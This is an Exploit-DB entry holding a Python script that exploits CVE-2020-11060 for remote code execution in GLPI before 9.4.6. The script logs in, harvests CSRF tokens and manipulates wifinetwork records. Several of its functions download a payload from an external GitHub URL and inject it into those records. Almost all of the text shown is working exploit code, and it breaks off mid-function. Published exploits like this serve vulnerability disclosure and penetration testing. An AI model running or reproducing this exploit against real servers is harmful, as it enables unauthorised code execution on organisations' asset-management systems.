Exploit-DB #49992
Description: GLPI 9.4.5 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2021-06-14
Author: Brian Peters

Exploit:
# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)
# Exploit Author: Brian Peters
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: < 9.4.6
# CVE: CVE-2020-11060

# Download a SQL dump and find the table offset for "wifinetworks" with 
# cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks
# Update the offsettable value with this number in the create_dump function
# The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based
# on the Set-Cookie hash.

#!/usr/bin/python

import argparse
import json
import random
import re
import requests
import string
import sys
import time
from datetime import datetime
from lxml import html

class GlpiBrowser:
    
    def __init__(self, url, user, password, platform):
        self.url = url
        self.user = user
        self.[CREDENTIAL_REDACTED]
        self.platform = platform
        
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()
    
    def extract_csrf(self, html):
        return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
    
    def get_login_data(self):
        r = self.session.get('{0}'.format(self.url), allow_redirects=True)
        
        csrf_token = self.extract_csrf(r.text)
        name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
        pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
        
        return name_field, pass_field, csrf_token
    
    def login(self):
        try:
            name_field, pass_field, csrf_token = self.get_login_data()
        except Exception as e:
            print "[-] Login error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            name_field: self.user, 
            pass_field: self.password,
            "auth": "local",
            "submit": "Post",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
        
        return r.status_code == 302
        
    def wipe_networks(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        
        r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Edit network error: could not retrieve form data"
            sys.exit(1)
            
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
        	rawlinkparts = rawlink.split("=")
        	networkid = rawlinkparts[-1]
        	print "Deleting network "+networkid
        	
        	data = {
        	    "entities_id": "0",
	            "is_recursive": "0",
        	    "name": "PoC",
        	    "comment": comment,
        	    "essid": "RCE"+padding,
        	    "mode": "ad-hoc",
		    "purge": "Delete permanently",
		    "id": networkid,
                    "_glpi_csrf_token": csrf_token,
                    '_read_date_mod': datemod
                }
        
                r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
    
    def create_network(self, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content

        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Create network error: could not retrieve form data"
            sys.exit(1)
        
        data = {
	    "entities_id": "0",
	    "is_recursive": "0",
	    "name": "PoC",
	    "comment": comment,
	    "essid": "RCE",
	    "mode": "ad-hoc",
	    "add": "ADD",
            "_glpi_csrf_token": csrf_token,
            '_read_date_mod': datemod
        }
        
        r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
        print "[+] Network created"
        print "      Name: PoC"
        print "      ESSID: RCE"
        
    def edit_network(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        #create the padding for the name and essid
        
        
        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
                rawlinkparts = rawlink.split('/')
                link = rawlinkparts[-1]
                
                #edit the network name and essid
                r = self.session.get('{0}/front/{1}'.format(self.url, link))
                try:
            	    csrf_token = self.extract_csrf(r.text)
        	except Exception as e:
        	    print "[-] Edit network error: could not retrieve form data"
        	    sys.exit(1)
        	    
        	rawlinkparts = rawlink.split("=")
        	networkid = rawlinkparts[-1]
        	        	    
                data = {
        	    "entities_id": "0",
        	    "is_recursive": "0",
        	    "name": "PoC",
        	    "comment": comment,
        	    "essid": "RCE"+padding,
        	    "mode": "ad-hoc",
        	    "update": "Save",
        	    "id": networkid,